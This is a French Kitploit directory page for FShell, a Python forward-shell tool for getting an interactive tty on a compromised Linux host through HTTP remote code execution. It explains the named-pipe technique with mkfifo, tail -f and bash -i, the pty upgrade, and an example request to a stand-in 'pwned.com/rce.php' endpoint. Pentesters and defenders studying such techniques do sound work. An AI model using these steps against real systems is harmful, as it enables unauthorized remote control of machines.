Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
FShell — Mon implémentation python3 d'un Forward Shell. | Kitploit
Outils/GitHubGitHub/hypnoze57/fshell
ExploitationPost-ExploitationTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubhypnoze57/fshell

FShell

Mon implémentation python3 d'un Forward Shell.

Voir le dépôt
385il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

FShell

Description

FShell est mon implémentation d'un Forward Shell. Il est conçu pour obtenir un tty interactif en utilisant l'exécution de code à distance via un protocole sans état (par exemple HTTP).

Pourquoi devrais-je utiliser un forward shell ?

  • Le serveur distant n'est pas capable d'atteindre Internet, pas de possibilité de reverse shell
  • Je ne veux pas que le serveur initie de nouvelle connexion sortante ou expose un nouveau service (utiliser uniquement le service vulnérable exposé)

Cependant, il a aussi des inconvénients

  • Beaucoup de requêtes par seconde (dans le cas d'un serveur web, cela générera beaucoup de journaux d'accès)
  • Pas entièrement interactif : pas d'auto-complétion (cela pourrait théoriquement être implémenté mais générerait une énorme quantité de requêtes), rappelez-vous que votre saisie est envoyée au script python puis au serveur distant.

La fréquence des requêtes peut être modifiée en changeant la variable BEACONING_DELAY.

Prérequis

Sur la machine de l'attaquant

Python3 et libs :

  • requests
  • termcolor

Sur la cible

Seul Linux est pris en charge pour le moment et nécessite des commandes/outils de base sur le système distant :

  • python2 (et le module pty)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

Utilisation

Modifiez la variable WRITABLE_FOLDER si /tmp n'est pas disponible en écriture ou si vous avez quelque chose de mieux (préférez /dev/shm)

Vous devez redéfinir la fonction execute pour effectuer votre exécution de code à distance :

root@kitploit:~
def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      Commande shell brute à exécuter sur le système distant
    :timetout OBLIGATOIRE : Utilisé pour tuer la boucle d'exécution bloquante (utilisé dans la création du named pipe).
              Si vous ne pouvez pas, mettez la création du named pipe dans un thread séparé
    :verbose  Affiche la commande complète exécutée sur le système distant (mode Debug)
    """
    # Mettez votre code RCE ici
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # Vous pouvez appliquer un formatage si la sortie n'est pas uniquement la sortie de la commande

Commandes

  • help_shell : Affiche l'aide des commandes
  • get_sessid : Affiche l'identifiant de session actuel sur le serveur distant
  • upgrade_shell : Démarre un pty distant en utilisant python pour créer un shell interactif
  • exit_shell : Ferme 'proprement' le shell distant. Si vous êtes connecté avec un autre utilisateur que le premier, veuillez quitter normalement avant.

Démo

FShell Demo

Comment cela fonctionne

Les concepts sont assez simples.

Vous devez d'abord créer un named pipe sur le système distant. Il sera utilisé pour envoyer des commandes au shell
mkfifo /tmp/input.

Ensuite, créez une boucle bash qui lit le named pipe en continu et l'envoie à un processus bash interactif qui envoie stdin et stderr vers un fichier de sortie.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[Lecture du named pipe] -> [Exécution du contenu du named pipe] -> [Envoi de stdin/stderr dans le fichier de sortie] -> [Retour à la lecture du named pipe grâce à l'option '-f' de tail]

L'étape suivante consiste à démarrer un thread python qui exécute cat /tmp/output régulièrement pour obtenir la sortie du shell.
Si le thread trouve des données, il videra le contenu du fichier de sortie en utilisant echo '' > /tmp/output
Astuce : Afin d'éviter les erreurs de journalisation pour un fichier inexistant, le script exécute la commande 'id' avant de démarrer le thread 'GetOutput' pour créer le fichier de sortie.

Une des dernières étapes consiste à obtenir la saisie utilisateur depuis notre script python et à l'envoyer au named pipe
echo USERCMD > /tmp/input

Et l'astuce finale pour obtenir un tty interactif distant est la commande 'upgrade_shell'. Cette commande exécute un python -c 'import pty;pty.spawn("/bin/bash")' (ainsi que quelques exports et alias) pour créer un vrai tty pour le processus courant (utilisé dans la boucle du named pipe)

Remerciements

Merci à @ippsec, je ne savais pas que quelque chose comme ça était possible avant de regarder ces vidéos Stratosphere HTB Write Up !

J'espère que vous apprécierez !

Télécharger l’outil